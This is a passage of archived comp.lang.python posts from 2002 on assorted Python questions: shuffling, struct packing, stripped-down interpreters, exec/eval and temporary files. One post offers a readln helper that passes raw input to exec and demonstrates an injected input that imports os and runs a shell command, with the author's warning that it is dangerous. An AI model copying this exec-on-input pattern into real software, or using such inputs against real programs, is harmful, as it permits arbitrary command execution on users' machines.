(Or even better, > a hint to a working implementation of something similar ...) Thanks to all of you for your suggestions. I finally decided to create my own solution. One reason was that the watchdog has to work on Unix *and* Windows. I wrote a multithreaded app, one thread running a modified BaseHTTPServer used for the web interface, one to (re)start and wait for the controlled program and one to handle the user actions received from the web interface. Works great! It even continued to work smoothly when I tortured the HTTPServer with random requests from 3 wget instances looping in parallel (over 10000 requests without any resource leaks or other problems). Markus From DLNXPEGFQVEB at spammotel.com Sat May 11 06:14:10 2002 From: DLNXPEGFQVEB at spammotel.com (Christos Georgiou) Date: Sat, 11 May 2002 13:14:10 +0300 Subject: Is there such a beast as a "perfect" shuffle? :) References: <mailman.1021055801.29143.python-list@python.org> <m3bsbnkbo1.fsf@chvatal.cbbrowne.com> Message-ID: <bkrpdu4cseg25aj7fa405m1atsr2hclhal@4ax.com> On Fri, 10 May 2002 16:09:18 -0400, in comp.lang.python you wrote: >Tim Peters <tim.one at comcast.net> wrote: >> [Christos Georgiou] >>> ... >>> Apart from that, which is just a naive approach, any hints / clues for >>> building good, uniform random numbers in the range 52! ? >> >> This is difficult. Here's one way: >> >> http://www.faqts.com/knowledge_base/view.phtml/aid/4406/fid/546 This seems to be what I want, as long as it works. Thanks, tim_one. >The basic principle is to make sure that you run through them all and >give opportunity for them to get swapped into any position. > >The unbiased way is not quite intuitive... > >- You run through from position 1 to position 52 > >- For each position, select a random location from [present] to > the end of the list. > >- Swap what's in the current location with the contents of that other > random location. > >The nonintuitive part is that the random range shrinks as you move >along. If you leave the range open, there's a bit of a bias. It's a >significant bias, if there are only 3 cards. It's not nearly so >significant with 52. > >You could do far worse than running through the 52 locations and, for >each one, swap it with a randomly selected location. That will >certainly shuffle things about pretty decently. Christopher, We all have reinvented the wheel at some point of our lives; most of us have been school(boys|girls|whatevah) at times when net access was not as common as it is now, and money was given to us as lunch-money, and not Knuth-books-money :)). The algorithm I always[1] used for shuffling a sequence / array was the one you describe in your last paragraph, and I am not that sure about the effectiveness of the 'non-intuitive' modification, but I have not a reason to doubt you, apart from my programmer's stubbornness :). The only problem is that, *whatever* the algorithm to shuffle, if the PRNG has a period of, say, 10**13, then there is no way to produce more than 10**13 permutations at best. That is why I was looking for a PRNG with a period of more than 10**68. Tim's reply shows that I didn't do my homework very well (I didn't look in python.faqts !) [1] for values of 'always' that are close to 18 years and if I may add, wishing-python-was-there-when-I-started-programming-ly y'rs, -- TZOTZIOY, I speak England very best, Real email address: 'dHpvdEBzaWwtdGVjLmdy\n'.decode('base64') From pyth at devel.trillke.net Fri May 3 06:02:32 2002 From: pyth at devel.trillke.net (holger krekel) Date: Fri, 3 May 2002 12:02:32 +0200 Subject: Sleep command In-Reply-To: <3CD25A92.70005@lucent.com> References: <3CD25A92.70005@lucent.com> Message-ID: <20020503100232.GA4496@devel.trillke> [Brian Nulty Fri, May 03, 2002 at 10:38:26AM +0100] Brian> The "sleep" command is not working for me in Jython 2.1. The Brian> specification is: Brian> Brian> sleep(30); # to sleep for 30 seconds import time time.sleep(30) and time should stand still for 30 seconds. btw, i would rather call it 'statement','command' or 'code' than 'specification'. holger From Chris.Barker at noaa.gov Mon May 20 16:18:04 2002 From: Chris.Barker at noaa.gov (Chris Barker) Date: Mon, 20 May 2002 13:18:04 -0700 Subject: Perl's pack/unpack functions References: <3CE56D0B.3030906@hotmail.com> <m2y9ei8nys.fsf@video.paradise.lost> Message-ID: <3CE959FB.B2B43F04@noaa.gov> John Hunter wrote: > Here is an example that writes 2.5 GB of long integers in binary (I > wanted to test my python large file support build) > > import struct > fd = open('test.out', 'w') > > GB = 250000000L # each long is 4 bytes so 250000000 is 1 GB > for i in xrange( long(2.5*GB) ): > fd.write( struct.pack('L', i) ) This code should work fine, but you are probably a bit confused about a C "long" vs, a Python Long Integer. A Python regular integer is a C long. A Python Long Integer is an unlimited precision integer. For your example, if you can pack it into a C long, you can store it in a Python regular integer. Also, you create GB as a long integer, and then convert the results of 2.5*GB to a long again, unneccesarily. If you tried to put a number large enough that it required a Python Long into that struct, you'd get an OverflowError. -CHB -- Christopher Barker, Ph.D. Oceanographer NOAA/OR&R/HAZMAT (206) 526-6959 voice 7600 Sand Point Way NE (206) 526-6329 fax Seattle, WA 98115 (206) 526-6317 main reception Chris.Barker at noaa.gov From bokr at oz.net Thu May 23 16:33:19 2002 From: bokr at oz.net (Bengt Richter) Date: 23 May 2002 20:33:19 GMT Subject: Emulating Pascal input References: <mailman.1022065417.1277.python-list@python.org> Message-ID: <acjjmf$rgf$0@216.39.172.122> On Wed, 22 May 2002 12:03:20 +0100, Michael Williams <michael.williams at st-annes.oxford.ac.uk> wrote: >Hi, > >We're currently running a trial implementation of a teaching course in >Python here at the University of Oxford Physics department. The current >course uses Pascal and, although it works well, is obviously sub-optimal >for a modern undergraduate education. > >Details of the results of the trial will be posted to EDU-sig when it is >complete, but for now we're trying to address what we see as a >limitation of Python for introductory programming, namely input. > >Consider the following Pascal code: > >(******** Pascal code **********) >(* Pascal ascii input of numbers: stdin and file *) >readln(x, y); >readln(fin, x, y); > >The first line is for stdin, the second for from file. The variables >x and y will then contain the first two white space separated numbers >the program encounters when that function is called. > >Here's how we're currently getting students to do the equivalent in >Python: > >######### Python code ########### ># Either: stdin >linestring = raw_input() > ># Or: file >linestring = f.readline() > >linelist = string.split(linestring) >x = int(linelist[0]) >y = int(linelist[1]) > ># Or perhaps >linestring = raw_input() >x,y = string.split(linestring) # x and y are now strings eg. '1' > # and '2' >x = int(x) >y = int(y) > >Having read through the many threads on this topic on comp.lang.python I >realise and understand that modern programs' input generally requires >thought and customization from the program author. However, we strongly >feel there should be an equivalent to Pascal's readln (which is >basically C's scanf but without the formatting strings) for simple, >generally numerical, whitespace-separated input. > ISTM the key problem is that you are asking for type-driven input, but not wanting to tell Python about it explicitly. You visualize typed Pascal variables being filled with numeric values taken from an input character sequence according to their type, but a Python 'variable' is just a name. There is no static type associated with a name. You have to go to the value object it refers to to get any indication of type, and the value object is not updated by "assignment" to a name: instead, a new value is computed from the expression on the right hand side of the '=' and the name is bound to the new value, abandoning the old (which may persist if it's also bound to something else, or be left for the garbage collector if not). Pascal's readln is not really C's scanf w/o formatting strings. Instead, ISTM it would be more accurate to say Pascal's readln is like C's scanf with implicit formatting strings based on the compiler's knowledge of the variable type declarations. >In the two weeks out trial has been running (one to go), students' >attempts to read in simple two column tables from a file has >consistently caused problems due to the (relative!) complexity of string >splitting. > >However, There is no need for a scanf (if your input is sufficiently >complex to require formatting strings then either string or regex >splitting is definitely a more elegant solution). > >I have been attempting to write such a function in Python but have been >struggling with (a) the lack of pointers, and (b) my total ignoarnce of >classes, which I suspect would be helpful. Here's what I have so far >(although note there is no error handling--give it a string response and >it falls over and dies, give it the wrong number of responses and it >falls over and dies, etc., etc.): > >############ ninput.py ############ > >import string > >def ninput(n, fin = None, prompt = '', sep = None): > > # If not file input then get string from stdin, else get from file > if fin == None: linestring = raw_input(prompt) > else: linestring = fin.readline() > > # Split up into list with optional seperator argument > responses = string.split(linestring, sep) > > for i in range(len(responses)): > if '.' in responses[i] or 'e' in responses[i] or \ > 'E' in responses[i]: > # i.e. if it looks like a float > responses[i] = float(responses[i]) > else: > # i.e if it doesn't look like a float > responses[i] = int(responses[i]) > > # If there was only one response then don't return a list. > if len(responses) == 1: responses = responses[0] > > return responses[:n] > >#################################### > >And here is a usage example: >>>> x, y = ninput(2) >5 6.0 >>>> print x, type(x) >5 <type 'int'> >>>> print y, type(y) >6.0 <type 'float'> > >This has the limitation that the user must pass the number of results >they expect back. This is done implicitly in the Pascal version too (the >number of variables passed to the function). However, error checking is >difficult as this version stands. > >If the student using the ninput function does, e.g. > >>>> x = ninput(2) >5 6.0 >[5, 6.0] <type 'list'> > >This is possibly what should be expected. However, passing the numerical >argument representing the number of results expected does not strike me >as a particularly graceful solution. We would prefer something like the >Pascal way, where the global variables in which the results are to be >stored are passed as parameters. Can anyone suggest a way of doing this? > If you pass a _string_ containing an ordered arg name list (e.g., comma-separated as below), you can get the names bound in the global name space to converted values. You can put the following definition at the top of your program, or you can put it in a file, e.g., readln.py and excecfile it (an ordinary import statement doesn't use the right globals() -- variables would appear assigned in the module global space instead of your importing program's global space). I don't recommend this as-is (see security dangers below), but it shows a way of shoehorning some badly-fitting ideas into Python ;-) So, assume we have files ---< readln.py >--------- def readln(names, **kw): linestr = kw and 'inp' in kw and kw['inp'].readline() or raw_input(kw.get('prompt','')) exec('\n'.join([('%s=%s' % pair) for pair in zip(names.split(','),linestr.split())]), globals()) ------------------------- and ---< twocols.txt >------- 123 4.5 678 9.0 ------------------------- in the current directory where we start python. Then we can do this (not tested much, no guarantees ;-) : >>> execfile('readln.py') >>> infile = file('twocols.txt','r') >>> readln('x,y',inp=infile) >>> x,y (123, 4.5) >>> readln('x,y',inp=infile) >>> x,y (678, 9.0) >>> readln('x,y,z',prompt='Enter 3 values: ') Enter 3 values: 1111 22.22 'three' >>> x,y,z (1111, 22.219999999999999, 'three') >>> print x,y,z 1111 22.22 three Note that this actually generates code that is compiled and executed, (and the input is split with whitespace, so there can't be embedded blanks in an input string), but there are potentially dangerous possibilities, as the following might indicate: >>> readln('a,b',prompt='hm? ') hm? __import__('os') a.popen('dir').read() >>> print b Volume in drive C is System Volume Serial Number is 14CF-C4B9 Directory of C:\pywk\pascal 02-05-23 12:37 <DIR> . 02-05-23 12:37 <DIR> .. 02-05-23 11:54 221 readln.py 02-05-23 11:58 18 twocols.txt 4 File(s) 239 bytes 5,265,920 bytes free >>> a <module 'os' from 'D:\python22\lib\os.pyc'> popen('dir') is obviously benign compared to what you could do, especially with root/admin priviliges. IOW, this is dangerous like input() is dangerous. You could check that only simple names and constants get compiled, etc., But I'm going have to leave that as an exercise ... ;-) >And if such an equivalent to the Pascal construct was implemented, what >would be the chances of getting it included in, say, the string module >of core Python. We would like such a function but would be reluctant to >use it as we would then be teaching our students a ``dialect'' of >Python. > My guess would be that the chances for a directly translated implementation of readln would be low, because there are no statically typed variables to dictate the conversion as in Pascal. ;-) Regards, Bengt Richter From mongiaamit at yahoo.com Fri May 24 06:01:55 2002 From: mongiaamit at yahoo.com (Amit Mongia) Date: 24 May 2002 03:01:55 -0700 Subject: Fatal Python error: GC object already in linked list Message-ID: <cf43c01d.0205240201.2a070840@posting.google.com> Hi, I am running a program using pycurl, to upload files on a server. I am using threads and lists in my program. There are times my program errors out and crashes with this error message. I am not using the Garbage Collector anywhere in my program. Any idea what can cause this error. Fatal Python error: GC object already in linked list Thanks, Amit From emile at fenx.com Thu May 2 08:15:15 2002 From: emile at fenx.com (Emile van Sebille) Date: Thu, 02 May 2002 12:15:15 GMT Subject: Newbie: finding the key/index of the min/max element References: <mailman.1020313865.22265.python-list@python.org> Message-ID: <n5aA8.38230$ao1.9110@rwcrnsc54> "Mark McEahern" > [James J. Besemer] > > Of course the FAQ itself would have to be vetted by the group, so it truly > > represents a consensus. A good FAQ is a non-trivial amount of work. Any > > volunteers? > > Once again, google is your friend: > > http://www.google.com/search?q=python+faq > > yields: > > http://www.python.org/doc/FAQ.html > I think the call was for a _list_ FAQ, which, to my knowledge, doesn't yet exist. I also think this is a good idea. -- Emile van Sebille emile at fenx.com --------- From phil at river-bank.demon.co.uk Mon May 6 05:40:11 2002 From: phil at river-bank.demon.co.uk (Phil Thompson) Date: Mon, 06 May 2002 10:40:11 +0100 Subject: Stripped down python References: <20020505162559.C18380@eecs.tufts.edu> Message-ID: <3CD64F7B.80014C33@river-bank.demon.co.uk> Michael Gilfix wrote: > > I think someone had a thread going a while back on this but I can't > find it in the archive or in any searches. Has anyone done any work on > creating a stripped down version of python: essentially, I want all > the core functionality of python (parser, compiler, and core objects) > without any of the library functionality. I'm also interested in > eliminating as many external dependencies of the interpreter so I can > embed just the core language and not worry any external issues. You could have a look at what I did for Zaurus Python (http://www.riverbankcomputing.co.uk/zaurus/index.php). I didn't change the core at all, just did some work on analysing the interdependencies between different modules. I left some modules in with the core - just because they are too useful - but simple changes allowed others to be removed. For example, Zaurus Python does not require distutils and pydoc (and all the lower level stuff that they depend on) to be installed. Phil From amckay at merlintechnologies.com Fri May 24 12:36:12 2002 From: amckay at merlintechnologies.com (Andy McKay) Date: Fri, 24 May 2002 09:36:12 -0700 Subject: OT: off-topic In-Reply-To: <GCEDKONBLEFPPADDJCOEGEIMDEAA.whisper@oz.net> References: <GCEDKONBLEFPPADDJCOEGEIMDEAA.whisper@oz.net> Message-ID: <200205241630.g4OGUlp16047@mail.merlinsoftech.com> > Greg, do you think there's an interesting positive number for "aussies win > the soccar World Cup"? <g> Soccar what's that? Oh football ;) -- Andy McKay From mgilfix at eecs.tufts.edu Fri May 17 14:38:11 2002 From: mgilfix at eecs.tufts.edu (Michael Gilfix) Date: Fri, 17 May 2002 14:38:11 -0400 Subject: PEP 218 Re: ANN: set-0.1 module available In-Reply-To: <Pine.LNX.4.44L.0205171801510.1576-100000@ods.pp.ru>; from ods@fep.ru on Fri, May 17, 2002 at 06:17:24PM +0400 References: <Pine.LNX.4.44.0205171701210.1166-100000@suzi.com.onego.ru> <Pine.LNX.4.44L.0205171801510.1576-100000@ods.pp.ru> Message-ID: <20020517143811.C4679@eecs.tufts.edu> This may sound like a dumb idea or a good idea (depending on your opinion) but why not use large integers to represent sets and set members using bit vectors. A hash table can then map the bit vector back to the original object. The nice thing about this is that operations are done using bitwise & (yeah on longs, but it should provide decent performance), and the hash table will allow quick lookups. That should definitely speed things up some. Or perhaps someone else is suggesting exactly this and I'm misreading someone else's post? -- Mike -- Michael Gilfix mgilfix at eecs.tufts.edu For my gpg public key: http://www.eecs.tufts.edu/~mgilfix/contact.html From tjreedy at udel.edu Thu May 9 11:20:20 2002 From: tjreedy at udel.edu (Terry Reedy) Date: Thu, 09 May 2002 15:20:20 GMT Subject: Simple question about how the optimizer works References: <3cda42ef_1@goliath2.newsgroups.com><3cda43fd_1@goliath2.newsgroups.com> <mailman.1020949335.15174.python-list@python.org> Message-ID: <UswC8.122769$v7.10517966@bin6.nnrp.aus1.giganews.com> "Fran?ois Pinard" <pinard at iro.umontreal.ca> wrote in message news:mailman.1020949335.15174.python-list at python.org... > then `y' should be incremented four times, not one. Moreover, I do not > remember that Python specifies that function arguments are evaluated left > to right, or right to left. Left to right is guaranteed somewhere in ref manual, last I looked. In response to OP: one of side effects of call to f could be rebinding of name 'f'. def f(): global f f = g return "First time. " def g(): return "Ha, ha! Fooled you?" print f(), f() #prints First time. Ha, ha! Fooled you? Terry J. Reedy From mwh at python.net Tue May 14 05:16:43 2002 From: mwh at python.net (Michael Hudson) Date: Tue, 14 May 2002 09:16:43 GMT Subject: How do I check if a pid is running? References: <mailman.1021072399.16706.python-list@python.org> <833cwvjsre.fsf@panacea.canonical.org> <mailman.1021359323.3878.python-list@python.org> Message-ID: <lk4rhbrssn.fsf@pc150.maths.bris.ac.uk> "Noah Spurrier" <noah at noah.org> writes: > The fact that nobody really fully complies with POSIX seems to make > this whole notion of portability a cruel joke anyway. If you like cringing, look at the code to posixmodule in the Python source sometime. Cheers, M. -- If your telephone company installs a system in the woods with no one around to see them, do they still get it wrong? -- Robert Moir, alt.sysadmin.recovery From tdelaney at avaya.com Thu May 30 19:55:04 2002 From: tdelaney at avaya.com (Delaney, Timothy) Date: Fri, 31 May 2002 09:55:04 +1000 Subject: matching one time through a loop Message-ID: <B43D149A9AB2D411971300B0D03D7E8BF0A335@natasha.auslabs.avaya.com> > From: David K. Trudgett [mailto:dkt at registriesltd.com.au] > > On Friday 2002-05-31 at 09:32:49 +1000, Delaney, Timothy wrote: > > > > depends, was it naive perl too? > > > > Well, on that point, isn't all perl naive, in the sense > that there is no > > expectation that anyone else will read it? > > > > Explicit <wink> for those who can't read smileys ... ;) > > Perhaps the hardest part of Perl for beginners to read is regular > expressions. What syntax does Python use for regular expressions? ;-) > <wink/> Seriously here ... by not having regular expressions be an integral part of the language, I believe they become much more understandable. It is always obvious when a regex is being used, and so they don't tend to contribute to line noise. In Perl, regexs tend to be hidden in amongst all the other constructs. Tim Delaney From lac at strakt.com Wed May 15 13:48:56 2002 From: lac at strakt.com (Laura Creighton) Date: Wed, 15 May 2002 19:48:56 +0200 Subject: Core Python programming In-Reply-To: Message from Steve Lamb <grey@dmiyu.org> of "Wed, 15 May 2002 17:16:15 -0000." <slrnae561k.24c.grey@teleute.dmiyu.org> References: <337619fa.0205121618.26e557e0@posting.google.com> <JzWD8.405$_15.9152@news4.ulv.nextra.no> <slrnae561k.24c.grey@teleute.dmiyu.org> Message-ID: <200205151748.g4FHmurW016426@theraft.strakt.com> > On Mon, 13 May 2002 21:51:37 GMT, Erlend J. Leiknes <nookieNO_SP_AM at online.no > > > wrote: > > I dont think you need that book as long you got excellent beginners manuals > > at www.python.org > > Or even just the Beazley book. Yeah, it's 1.5.2 but it is good for those > who are plunking out stuff, need a quick reference to something and isn't one > of those who can digest something off the screen. *sigh* > You will be happy to know that the Beazley book has been updated to 2.1. worth every penny. Laura Creighton From jb at cascade-sys.com Wed May 15 18:00:39 2002 From: jb at cascade-sys.com (James J. Besemer) Date: Wed, 15 May 2002 15:00:39 -0700 Subject: OT: Crazy Programming References: <mailman.1021483146.13317.python-list@python.org> <abui0s$qj0$1@slb4.atl.mindspring.net> Message-ID: <3CE2DA87.5243AD71@cascade-sys.com> Andrew Dalke wrote: > But that's just the free market economist inside me speaking. > I've got to let him out every once in a while otherwise he > gets too riled up on the free (Python) software I develop. :) Don't worry. Be Happy. "It's OK to want to make money." --BDFL, the right Hon. Guido V-R Regards --jb -- James J. Besemer 503-280-0838 voice http://cascade-sys.com 503-280-0375 fax mailto:jb at cascade-sys.com From pearu at cens.ioc.ee Wed May 22 18:03:55 2002 From: pearu at cens.ioc.ee (Pearu Peterson) Date: Thu, 23 May 2002 01:03:55 +0300 (EEST) Subject: Executing a system command In-Reply-To: <3cec0fa1_1@news2.newsgroups.com> Message-ID: <Pine.LNX.4.21.0205230059570.15667-100000@cens.ioc.ee> On 22 May 2002, jb wrote: > I should like to execute the bash command > > (cd prefix;latex file.tex;dvips file) > > Can I do that with the os.system function? It seems I am having diffculties > with that. What kind of difficulties? I think os.system('cd prefix && latex file.tex && dvips file') should work fine. Pearu From jochen at jochen-kuepper.de Mon May 20 22:00:59 2002 From: jochen at jochen-kuepper.de (Jochen =?iso-8859-1?q?K=FCpper?=) Date: 20 May 2002 22:00:59 -0400 Subject: How do you code in Python ??? References: <mailman.1021916915.2998.python-list@python.org> Message-ID: <m3r8k62rac.fsf@box.home.de> On Mon, 20 May 2002 20:47:34 +0300 (EEST) Pearu Peterson wrote: Pearu> No. Ctrl-G to stop the app. Pearu> klass is class <- in estonian, in german(?) Close: "Klasse" :)) ...But why do you need a 'k' here? Greetings, Jochen -- Einigkeit und Recht und Freiheit http://www.Jochen-Kuepper.de Libert?, ?galit?, Fraternit? GnuPG key: 44BCCD8E Sex, drugs and rock-n-roll From lailian98 at hotmail.com Fri May 31 15:52:55 2002 From: lailian98 at hotmail.com (Hazel) Date: 31 May 2002 12:52:55 -0700 Subject: Extracting data from HTML Message-ID: <82096df4.0205311152.5891a17b@posting.google.com> Hi all, I'm new in Python. Can someone help me with this problem? how do i write a program that will extract info from an HTML and print of a list of TV programmes, its Time, and Duration using urllib? Please help. Thanx :> From kseehof at neuralintegrator.com Wed May 1 14:08:32 2002 From: kseehof at neuralintegrator.com (Ken Seehof) Date: Wed, 01 May 2002 11:08:32 -0700 Subject: Defining new functions at runtime In-Reply-To: <Z7Uz8.3043$U7.38735@vixen.cso.uiuc.edu> Message-ID: <EFEFIHAINIINNELLHFAIGEFKCDAA.kseehof@neuralintegrator.com> > I am writing a GUI interface to a database using tkinter. > Now, I want to > provide a facility where a user can define python functions using the GUI > and then run them in the same runtime environment. so, a normal function > needs to be treated like a method object. > Is this possible? Can I treat functions as first class objects? Can > somebody please guide me as to how I could accomplish this? > > Thanks > Chandan Functions are first class objects in python. Actually just about everything in python is a first class object. (If a mutant topic branches off of this talking about things like 'if' and 'for' not being objects (they are in some languages), please change the subject heading :-) so we don't confuse anyone.) The easiest way to do what you want is to just use eval and exec. You can get clever and use lambda with eval: >>> s = "x*2+1" >>> d = {'x': 5} >>> eval(s, d) 11 >>> f = lambda x: eval(s, {'x':x}) >>> f(3) 7 ... or if you want the user to type in function definitions: >>> d = {} >>> s = ''' ... def foo(bar): ... print 'bar =',bar ... return bar+5 ... ''' >>> exec s in d >>> d['foo'] >>> <function foo at 0x017EC140> >>> d['foo'](4) bar = 4 9 Note the difference beween exec and eval: eval evaluates a string as an expression and returns the result; exec executes a string of arbitrary python code and doesn't return anything. They both use a dictionary to represent the context in which the python string is interpreted (that's how 'foo' got into the d dictionary). Alternatively, you can use the 'new' module, which gives you tools to create all kinds of things like modules, classes, functions and methods, that are identical to the objects normally created by the python interpreter. I haven't tried it, but it looks a bit more complicated than what I've described above, and the documentation doesn't make it obvious how to create a 'code' object (which is a prerequisite to using new.function. The 'new' module is a wrapper for the low level C code that implements these kinds of python objects. Keep in mind that there can be security issues associated with this kind of thing. For example, if your application is a web application, people can make your application run arbitrary python code that emails data, destroys files, downloads and runs trojan horses, etc. There are ways to protect yourself, but that's another topic that might not apply to you right now. I hope this points you in the right direction. Enjoy, - Ken Seehof kseehof at neuralintegrator.com From stephen at xemacs.org Thu May 9 07:32:30 2002 From: stephen at xemacs.org (Stephen J. Turnbull) Date: 09 May 2002 20:32:30 +0900 Subject: Multibyte Character Surport for Python References: <e786d63d.0205080421.3788a0e2@posting.google.com> <j4y9euwxq7.fsf@informatik.hu-berlin.de> <kuhelirarl.fsf@lasipalatsi.fi> <mailman.1020874095.7055.python-list@python.org> <j4znzar2ov.fsf@informatik.hu-berlin.de> <87g011q3fl.fsf@tleepslib.sk.tsukuba.ac.jp> <m3wuudk9xo.fsf@mira.informatik.hu-berlin.de> <87y9etmya6.fsf@tleepslib.sk.tsukuba.ac.jp> <m3sn51k3vp.fsf@mira.informatik.hu-berlin.de> Message-ID: <87lmatmu9d.fsf@tleepslib.sk.tsukuba.ac.jp> >>>>> "Martin" == Martin v Loewis <martin at v.loewis.de> writes: Martin> "Stephen J. Turnbull" <stephen at xemacs.org> writes: >> What Unicode objects? They find ordinary strings that are >> mandated to be encoded in UTF-8. Martin> That could be done, Glad to have your confirmation. Now all I need to do is find the time.... >> We do the migration to Unicode objects later, at the same time >> that you would have done it anyway. In the meantime, this fits >> right in with the kind of "backwards compatibility" that PEP >> 263 is all about. Martin> You can't use UTF-8 to represent non-ASCII identifiers, Martin> and Unicode objects later. Old byte code would not Martin> interoperate with new byte code. _This_ is a serious objection. But if we're ever going to have non-ASCII identifiers with some sanity, that transition will have to be made. So I guess it never will happen in PSF Python? Maybe that's for the best. Francois and my students can write in their preferred languages, and "official" Python will support Alex's "one world, one substrate for programming languages" campaign. -- Institute of Policy and Planning Sciences http://turnbull.sk.tsukuba.ac.jp University of Tsukuba Tennodai 1-1-1 Tsukuba 305-8573 JAPAN My nostalgia for Icon makes me forget about any of the bad things. I don't have much nostalgia for Perl, so its faults I remember. Scott Gilbert c.l.py From pyth at devel.trillke.net Thu May 30 17:29:44 2002 From: pyth at devel.trillke.net (holger krekel) Date: Thu, 30 May 2002 23:29:44 +0200 Subject: Avoiding `exec', how to? In-Reply-To: <oqptzdfioa.fsf@carouge.sram.qc.ca>; from pinard@iro.umontreal.ca on Thu, May 30, 2002 at 05:08:05PM -0400 References: <oqofexh214.fsf@carouge.sram.qc.ca> <20020530221832.L17248@prim.han.de> <oqptzdfioa.fsf@carouge.sram.qc.ca> Message-ID: <20020530232944.P17248@prim.han.de> Fran?ois Pinard wrote: > [holger krekel] > > > Also the use of dir/getattr allows for 'defs' to be subclassed. > > Using '__dict__' doesn't and is somewhat ugly. > > Hello, Holger. > > I do not well understand your argument here -- but I agree that __dict__ is > not fully nice. What is the problem of not allowing `defs' to be subclassed? Well. If 'defs' denotes a class you may *later* decide to have another set 'defs2' which is based on 'defs' but modifies some values... you code wouldn't break if you use 'dir(defs)'. Or if you later decide you want to have an instance of 'defs' to be modified on instance level like mydefs = defs() mydefs.name1=value1 # etc.pp. 'dir(defs)' and 'getattr(defs, name) would still work well. It's good practice to make code more robust for such changes in the future. It's also better for reusing it. have fun, holger From bokr at oz.net Wed May 29 16:41:40 2002 From: bokr at oz.net (Bengt Richter) Date: 29 May 2002 20:41:40 GMT Subject: create a tmp file for system execution References: <3CF4E711.8A175798@millfilm.co.uk> <ad3bkt$83b$0@216.39.172.122> Message-ID: <ad3ee4$g1i$0@216.39.172.122> On 29 May 2002 19:54:05 GMT, bokr at oz.net (Bengt Richter) wrote: >On Wed, 29 May 2002 15:34:57 +0100, Eric Texier <erict at millfilm.co.uk> wrote: > >>I have a py script executing a bunch of os.system in a loop. >>It is not very fast and I was wondering if it will not be better >>to recreate a execution file. >> >>My 2 questions: >> >>1) what is faster for a big number of call >> >>for i in range(1,2000): >> os.system("ls F1.%d F2.%d" % ( i , i ) " ) >> >>OR >> >>fileOut = open("tmpFile",w) >>for i in range(1,2000): >> fileOut.write("ls F1.%d F2.%d" % ( i , i ) " ) >> >>fileOut.close() >>os.system("csh -c 'source tmpFile' ") >>os.system("rm -f tmpFile") >> >> >>2) if the second one is better I would like to kwo if there is any thing >> >>in python for temporary file, the drag being to if you do not come for >>a specific naming mechanism, you file can be change by and other >>process before it execute >> >wouldn't it be faster to do a single ls F.* command piped to a grep for >the decimal extensions, then to a python script for sorting and final formatting >or whatever you want to do with the file names? Or am I missing something? > Forgot to mention the glob module, using which (along with os.path.isdir, os.path.isfile, etc.) you can probably do everything you want from python. Regards, Bengt Richter From starx at pacbell.net Wed May 8 15:07:20 2002 From: starx at pacbell.net (Philip Swartzleonard) Date: 8 May 2002 19:07:20 GMT Subject: Whats so good about Python? References: <8580b02e.0205071527.5b6ce52f@posting.google.com> <abbrab$1u9g$1@nntp6.u.washington.edu> Message-ID: <Xns92087B795E5E7RASXnewsDFE1@130.133.1.4> Russell E. Owen || Wed 08 May 2002 11:38:02a: > Nothing is perfect. Things I don't like about Python include > (everybody will have their own list, of course): > [various] > - Lack of explicit variable declarations. This makes use of local > variables vs variables you can see because you are in another > function's scope a minefield. Hm. Would it be helpful to have some kind of flag or something that prevents a name from attempting to access a variable outside of the local scope? That is, something like: def foo: lactose = 666 [45 lines of code] if $lactose < 12: kill_things_and_drink_alot(dwarves, $lactose) Were $ is a flag saying 'do not attempt to access the variable from outside of the local scope'. Yeah, i know it's ugly and peraly, but I can't think of a better way on short notice. -- Philip Sw "Starweaver" [rasx] :: www.rubydragon.com From whisper at oz.net Sat May 18 13:45:38 2002 From: whisper at oz.net (David LeBlanc) Date: Sat, 18 May 2002 10:45:38 -0700 Subject: Gadfly-1.0rc1 Errors In-Reply-To: <200205180533.g4I5XEt25080@localhost.localdomain> Message-ID: <GCEDKONBLEFPPADDJCOECEEHDDAA.whisper@oz.net> This is not failing because a file is open imo; it's failing because you're trying to remove an non-empty directory. Windows won't do that directly. It would be nice if shutils.rmtree took an '-f' flag analgous to the force flag of rm on Unix and did the right thing on windows, which is delete all the files in the selected dir(s) and then deleted the directory(s). David LeBlanc Seattle, WA USA > -----Original Message----- > From: python-list-admin at python.org > [mailto:python-list-admin at python.org]On Behalf Of Anthony Baxter > Sent: Friday, May 17, 2002 22:33 > To: Andrew Dalke > Cc: python-list at python.org > Subject: Re: Gadfly-1.0rc1 Errors > > > > >>> "Andrew Dalke" wrote > > Dave Moor: > > >> raise exc[0], (exc[1][0], exc[1][1] + ' removing '+cmd[1]) > > >> OSError: [Errno 13] Permission denied removing _test_dir\test.gfl > > > > > >The error repeat for 40 tests, but its always caused by shutil.rmtree. > > > The install worked OK, should I worry about the tests failing? > > > > Just a guess, not based on looking at source code. MS Windows doesn't > > allow an open file to be deleted, while Unix does. I suspect the > > cleanup code is trying to remove the test directory and can't > > because something therein is open. > > This seems the likely problem. I've logged it in the SF bug > tracker, as > http://sourceforge.net/tracker/index.php?func=detail&aid=557554&gr > oup_id=662&atid=100662 > > The test failure can be ignored (but should be fixed). > > > Anthony > > -- > Anthony Baxter <anthony at interlink.com.au> > It's never too late to have a happy childhood. > > > > -- > http://mail.python.org/mailman/listinfo/python-list From niemeyer at conectiva.com Fri May 3 13:04:36 2002 From: niemeyer at conectiva.com (Gustavo Niemeyer) Date: Fri, 3 May 2002 14:04:36 -0300 Subject: Low level python In-Reply-To: <jJmA8.4273$lA2.427260@news.xtra.co.nz> References: <4_hA8.4181$lA2.420467@news.xtra.co.nz> <mailman.1020374885.3044.python-list@python.org> <aasjbf$l5f$1@panix1.panix.com> <jJmA8.4273$lA2.427260@news.xtra.co.nz> Message-ID: <20020503140436.A978@ibook.distro.conectiva> > Anyone know how I can reduce the memory footprint of Python? I've been playing with this for some time. One of the results of the resarch was that inline documentation is responsible for 10% of python's footprint. I've developed a patch to make those strings optional at compile time. The idea was well accepted, but for some reason the patch was not applied yet. -- Gustavo Niemeyer [ 2AAC 7928 0FBF 0299 5EB5 60E2 2253 B29A 6664 3A0C ] From jb at cascade-sys.com Fri May 10 04:43:22 2002 From: jb at cascade-sys.com (James J. Besemer) Date: Fri, 10 May 2002 01:43:22 -0700 Subject: Simple question about how the optimizer works References: <3cda42ef_1@goliath2.newsgroups.com> <3cda43fd_1@goliath2.newsgroups.com> <oqu1ph79xq.fsf@titan.progiciels-bpi.ca> <3CDA9B3C.F2D00FE6@cascade-sys.com> <20020509113410.C18545@unpythonic.net> <mailman.1020963798.28932.python-list@python.org> <abefpc$7u3$1@slb3.atl.mindspring.net> <mailman.1021010718.12133.python-list@python.org> <hjjZvIAiz328Ewvb@jessikat.fsnet.co.uk> Message-ID: <3CDB8829.2B89F140@cascade-sys.com> Robin Becker wrote: > In article 